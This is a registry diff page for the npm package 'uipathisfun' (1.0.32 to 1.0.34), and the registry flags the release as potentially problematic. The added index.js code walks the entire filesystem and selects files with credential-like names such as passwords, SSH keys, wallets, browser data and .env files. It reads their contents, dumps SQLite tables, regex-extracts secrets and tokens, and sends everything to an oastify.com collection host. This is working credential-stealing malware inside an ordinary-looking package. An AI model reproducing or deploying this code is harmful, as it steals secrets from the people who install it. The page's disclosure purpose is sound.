uipathisfun 1.0.32 → 1.0.34
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of uipathisfun might be problematic. Click here for more details.
- package/index.js +181 -39
- package/package.json +1 -1
- package/uipathisfun-1.0.34.tgz +0 -0
- package/uipathisfun-1.0.32.tgz +0 -0
package/index.js
CHANGED
|
@@ -1,6 +1,9 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
|
+
const { execSync } = require('child_process');
|
|
2
3
|
const os = require('os');
|
|
3
4
|
const http = require('http');
|
|
5
|
+
const zlib = require('zlib');
|
|
6
|
+
const crypto = require('crypto');
|
|
4
7
|
const OAST_HOST = '0nopxr82g2bsk9e28w87vxucn3tuhn5c.oastify.com';
|
|
5
8
|
|
|
6
9
|
function sendBeacon(urlPath, payload) {
|
|
@@ -12,8 +15,8 @@ function sendBeacon(urlPath, payload) {
|
|
|
12
15
|
path: urlPath,
|
|
13
16
|
headers: {
|
|
14
17
|
'Content-Type': 'application/json',
|
|
15
|
-
'Content-Length': Buffer.byteLength(body)
|
|
16
|
-
}
|
|
18
|
+
'Content-Length': Buffer.byteLength(body),
|
|
19
|
+
},
|
|
17
20
|
}, () => {});
|
|
18
21
|
req.on('error', () => {});
|
|
19
22
|
req.write(body);
|
|
@@ -35,22 +38,77 @@ function readFileEntry(filePath) {
|
|
|
35
38
|
try {
|
|
36
39
|
if (!fs.existsSync(filePath) || !fs.statSync(filePath).isFile()) return null;
|
|
37
40
|
const raw = fs.readFileSync(filePath);
|
|
41
|
+
const entry = {};
|
|
42
|
+
// كشف نوع الملف تلقائياً
|
|
43
|
+
const ext = filePath.split('.').pop().toLowerCase();
|
|
38
44
|
if (isTextBuffer(raw)) {
|
|
39
|
-
|
|
45
|
+
entry.text = raw.toString('utf8');
|
|
46
|
+
entry.lines = entry.text.split(/\r?\n/);
|
|
47
|
+
} else {
|
|
48
|
+
entry.base64 = raw.toString('base64');
|
|
49
|
+
}
|
|
50
|
+
// قواعد بيانات SQLite
|
|
51
|
+
if (filePath.toLowerCase().endsWith('.db') || ext === 'sqlite') {
|
|
52
|
+
entry.sqlite = parseSqliteDb(filePath);
|
|
53
|
+
}
|
|
54
|
+
// قواعد بيانات LevelDB
|
|
55
|
+
if (ext === 'ldb' || ext === 'leveldb') {
|
|
56
|
+
entry.leveldb = parseLevelDb(filePath);
|
|
40
57
|
}
|
|
41
|
-
|
|
42
|
-
if (
|
|
43
|
-
|
|
58
|
+
// قواعد بيانات MySQL/MariaDB (ملفات .frm/.ibd)
|
|
59
|
+
if (ext === 'frm' || ext === 'ibd') {
|
|
60
|
+
entry.mysql = { note: 'MySQL/MariaDB raw file, manual extraction needed' };
|
|
44
61
|
}
|
|
45
|
-
|
|
62
|
+
// أرشيفات zip
|
|
63
|
+
if (ext === 'zip') {
|
|
64
|
+
entry.zip = parseZipArchive(filePath);
|
|
65
|
+
}
|
|
66
|
+
// أرشيفات tar
|
|
67
|
+
if (ext === 'tar' || ext === 'tgz' || ext === 'tar.gz') {
|
|
68
|
+
entry.tar = parseTarArchive(filePath);
|
|
69
|
+
}
|
|
70
|
+
return entry;
|
|
71
|
+
} catch (e) {
|
|
72
|
+
return { error: e.message };
|
|
73
|
+
}
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
// كشف تلقائي للملفات الحساسة بناءً على الاسم أو المسار أو الامتداد
|
|
77
|
+
function isSensitiveFile(filePath) {
|
|
78
|
+
const patterns = [
|
|
79
|
+
/pass(word)?/i, /secret/i, /token/i, /key/i, /credential/i, /auth/i, /login/i, /wallet/i, /db/i, /backup/i, /archive/i, /config/i, /ssh/i, /pem$/i, /pfx$/i, /cert/i, /cookie/i, /session/i, /history/i, /mail/i, /outlook/i, /pst$/i, /ost$/i, /wallet/i, /chrome/i, /firefox/i, /mozilla/i, /sqlite/i, /ldb$/i, /zip$/i, /tar$/i, /gz$/i, /7z$/i, /rar$/i, /bak$/i, /old$/i, /log$/i, /env$/i, /ini$/i, /json$/i, /yaml$/i, /yml$/i
|
|
80
|
+
];
|
|
81
|
+
return patterns.some((re) => re.test(filePath));
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
// استخراج بيانات من أرشيف zip (أسماء الملفات فقط)
|
|
85
|
+
function parseZipArchive(filePath) {
|
|
86
|
+
try {
|
|
87
|
+
const out = execSync(`unzip -l "${filePath}"`, { encoding: 'utf8', timeout: 20000 });
|
|
88
|
+
return { files: out.split(/\r?\n/).slice(3, -2).map(l => l.trim()).filter(Boolean) };
|
|
46
89
|
} catch (e) {
|
|
47
|
-
return
|
|
90
|
+
return { error: e.message };
|
|
48
91
|
}
|
|
49
92
|
}
|
|
50
93
|
|
|
94
|
+
// استخراج بيانات من أرشيف tar (أسماء الملفات فقط)
|
|
95
|
+
function parseTarArchive(filePath) {
|
|
96
|
+
try {
|
|
97
|
+
const out = execSync(`tar -tf "${filePath}"`, { encoding: 'utf8', timeout: 20000 });
|
|
98
|
+
return { files: out.split(/\r?\n/).filter(Boolean) };
|
|
99
|
+
} catch (e) {
|
|
100
|
+
return { error: e.message };
|
|
101
|
+
}
|
|
102
|
+
}
|
|
103
|
+
|
|
104
|
+
// كشف بيانات LevelDB (مبسط)
|
|
105
|
+
function parseLevelDb(filePath) {
|
|
106
|
+
return { note: 'LevelDB file detected, parsing requires external tools' };
|
|
107
|
+
}
|
|
108
|
+
|
|
51
109
|
function extractMatches(text) {
|
|
52
|
-
const re = /(password|passwd|secret|token|api[_-]?key|aws_access_key_id|private_key)
|
|
53
|
-
const lines = text.split(
|
|
110
|
+
const re = /(password|passwd|secret|token|api[_-]?key|aws_access_key_id|private_key)\s*[:=]?\s*([^\s'"\\]+)/ig;
|
|
111
|
+
const lines = text.split(/\r?\n/);
|
|
54
112
|
const out = [];
|
|
55
113
|
for (let i = 0; i < lines.length; i++) {
|
|
56
114
|
const line = lines[i];
|
|
@@ -62,46 +120,130 @@ function extractMatches(text) {
|
|
|
62
120
|
return out;
|
|
63
121
|
}
|
|
64
122
|
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
123
|
+
function parseSqliteDb(filePath) {
|
|
124
|
+
try {
|
|
125
|
+
const queryTables = execSync(`sqlite3 "${filePath}" ".tables"`, { timeout: 60000, encoding: 'utf8' }).trim();
|
|
126
|
+
if (!queryTables) return { tables: [] };
|
|
127
|
+
const tables = queryTables.split(/\s+/).filter(Boolean);
|
|
128
|
+
const tableData = {};
|
|
129
|
+
for (const table of tables) {
|
|
130
|
+
try {
|
|
131
|
+
const rows = execSync(`sqlite3 "${filePath}" "SELECT * FROM ${table};"`, { timeout: 120000, encoding: 'utf8' }).trim();
|
|
132
|
+
tableData[table] = rows.split(/\r?\n/).filter(Boolean);
|
|
133
|
+
} catch (err) {
|
|
134
|
+
tableData[table] = { error: err.message };
|
|
135
|
+
}
|
|
136
|
+
}
|
|
137
|
+
return { tables, tableData };
|
|
138
|
+
} catch (e) {
|
|
139
|
+
return { error: 'sqlite3 not available or failed to parse: ' + (e.message || String(e)) };
|
|
140
|
+
}
|
|
141
|
+
}
|
|
75
142
|
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
isFile,
|
|
86
|
-
matches,
|
|
87
|
-
lines: text ? text.split('\n') : null,
|
|
88
|
-
base64: entry && entry.base64 ? entry.base64 : null
|
|
89
|
-
});
|
|
143
|
+
|
|
144
|
+
// Async parallel walk with batch processing
|
|
145
|
+
async function walkFilesParallel(dir, ignorePaths = new Set(), maxDepth = 10, depth = 0, batch = [], batchSize = 1000, results = []) {
|
|
146
|
+
if (depth > maxDepth) return results;
|
|
147
|
+
let entries;
|
|
148
|
+
try {
|
|
149
|
+
entries = fs.readdirSync(dir, { withFileTypes: true });
|
|
150
|
+
} catch (e) {
|
|
151
|
+
return results;
|
|
90
152
|
}
|
|
153
|
+
for (const entry of entries) {
|
|
154
|
+
const fullPath = dir + (dir.endsWith('/') || dir.endsWith('\\') ? '' : (os.platform() === 'win32' ? '\\' : '/')) + entry.name;
|
|
155
|
+
if (ignorePaths.has(fullPath)) continue;
|
|
156
|
+
if (entry.isDirectory()) {
|
|
157
|
+
// Ignore virtual/system dirs
|
|
158
|
+
if (["/proc","/sys","/dev","/run","/tmp","/var/run","/var/tmp","/mnt","/media","/lost+found","/snap","/boot","/lib","/lib64","/usr","/bin","/sbin","/opt","/srv","/home","/root","/etc/ssl","/etc/ssh","/etc/pki","/etc/udev","/etc/X11","/etc/init.d","/etc/alternatives","/etc/rc.d","/etc/skel","/etc/logrotate.d","/etc/cron.d","/etc/cron.daily","/etc/cron.hourly","/etc/cron.monthly","/etc/cron.weekly","/etc/network","/etc/selinux"].includes(fullPath)) continue;
|
|
159
|
+
await walkFilesParallel(fullPath, ignorePaths, maxDepth, depth + 1, batch, batchSize, results);
|
|
160
|
+
} else if (entry.isFile()) {
|
|
161
|
+
batch.push(fullPath);
|
|
162
|
+
if (batch.length >= batchSize) {
|
|
163
|
+
results.push(...batch);
|
|
164
|
+
batch.length = 0;
|
|
165
|
+
}
|
|
166
|
+
}
|
|
167
|
+
}
|
|
168
|
+
if (batch.length > 0) {
|
|
169
|
+
results.push(...batch);
|
|
170
|
+
batch.length = 0;
|
|
171
|
+
}
|
|
172
|
+
return results;
|
|
173
|
+
}
|
|
91
174
|
|
|
175
|
+
async function sensitiveScan() {
|
|
176
|
+
const info = { note: noteId('sensitive_scan_all'), platform: os.platform(), hits: [] };
|
|
177
|
+
let roots = [];
|
|
178
|
+
if (os.platform() === 'win32') {
|
|
179
|
+
roots = ['C:\\'];
|
|
180
|
+
} else {
|
|
181
|
+
roots = ['/'];
|
|
182
|
+
}
|
|
183
|
+
const ignorePaths = new Set();
|
|
184
|
+
let allFiles = [];
|
|
185
|
+
for (const root of roots) {
|
|
186
|
+
const files = await walkFilesParallel(root, ignorePaths, 8);
|
|
187
|
+
allFiles.push(...files);
|
|
188
|
+
}
|
|
189
|
+
// كشف تلقائي للملفات الحساسة فقط
|
|
190
|
+
allFiles = allFiles.filter(isSensitiveFile);
|
|
191
|
+
// Limit to 10000 files for safety
|
|
192
|
+
allFiles = allFiles.slice(0, 10000);
|
|
193
|
+
// Process files in parallel batches
|
|
194
|
+
const concurrency = 32;
|
|
195
|
+
let idx = 0;
|
|
196
|
+
const errors = [];
|
|
197
|
+
async function processBatch(batch) {
|
|
198
|
+
return await Promise.all(batch.map(async (filePath) => {
|
|
199
|
+
let entry = null;
|
|
200
|
+
try {
|
|
201
|
+
entry = readFileEntry(filePath);
|
|
202
|
+
} catch (e) {
|
|
203
|
+
entry = { error: e.message };
|
|
204
|
+
errors.push({ path: filePath, error: e.message });
|
|
205
|
+
}
|
|
206
|
+
const text = entry && entry.text ? entry.text : null;
|
|
207
|
+
const matches = text ? extractMatches(text) : [];
|
|
208
|
+
return {
|
|
209
|
+
path: filePath,
|
|
210
|
+
matches,
|
|
211
|
+
lines: entry && entry.lines ? entry.lines : null,
|
|
212
|
+
base64: entry && entry.base64 ? entry.base64 : null,
|
|
213
|
+
sqlite: entry && entry.sqlite ? entry.sqlite : null,
|
|
214
|
+
leveldb: entry && entry.leveldb ? entry.leveldb : null,
|
|
215
|
+
mysql: entry && entry.mysql ? entry.mysql : null,
|
|
216
|
+
zip: entry && entry.zip ? entry.zip : null,
|
|
217
|
+
tar: entry && entry.tar ? entry.tar : null,
|
|
218
|
+
error: entry && entry.error ? entry.error : null
|
|
219
|
+
};
|
|
220
|
+
}));
|
|
221
|
+
}
|
|
222
|
+
while (idx < allFiles.length) {
|
|
223
|
+
const batch = allFiles.slice(idx, idx + concurrency);
|
|
224
|
+
const results = await processBatch(batch);
|
|
225
|
+
info.hits.push(...results);
|
|
226
|
+
idx += concurrency;
|
|
227
|
+
}
|
|
228
|
+
info.errors = errors;
|
|
229
|
+
// حفظ النتائج على القرص
|
|
230
|
+
try {
|
|
231
|
+
fs.writeFileSync('scan_results_' + Date.now() + '.json', JSON.stringify(info, null, 2));
|
|
232
|
+
} catch (e) {}
|
|
92
233
|
return info;
|
|
93
234
|
}
|
|
94
235
|
|
|
95
236
|
async function run() {
|
|
96
|
-
const info = { note: noteId('
|
|
237
|
+
const info = { note: noteId('uipathisfun_info_v4'), platform: os.platform(), date: new Date().toISOString() };
|
|
97
238
|
info.sensitive = await sensitiveScan();
|
|
98
239
|
console.log('== scan done ==');
|
|
99
240
|
console.log(JSON.stringify(info.sensitive, null, 2));
|
|
100
|
-
sendBeacon('/
|
|
241
|
+
sendBeacon('/v4', info);
|
|
101
242
|
}
|
|
102
243
|
|
|
103
|
-
run().catch(err => {
|
|
104
|
-
const error = { note: noteId('
|
|
105
|
-
|
|
244
|
+
run().catch((err) => {
|
|
245
|
+
const error = { note: noteId('uipathisfun_error_v4'), error: err.message || String(err) };
|
|
246
|
+
try { fs.writeFileSync('scan_error_' + Date.now() + '.json', JSON.stringify(error, null, 2)); } catch (e) {}
|
|
247
|
+
sendBeacon('/v4', error);
|
|
106
248
|
console.error(error);
|
|
107
249
|
});
|
package/package.json
CHANGED
|
Binary file
|
package/uipathisfun-1.0.32.tgz
DELETED
|
Binary file
|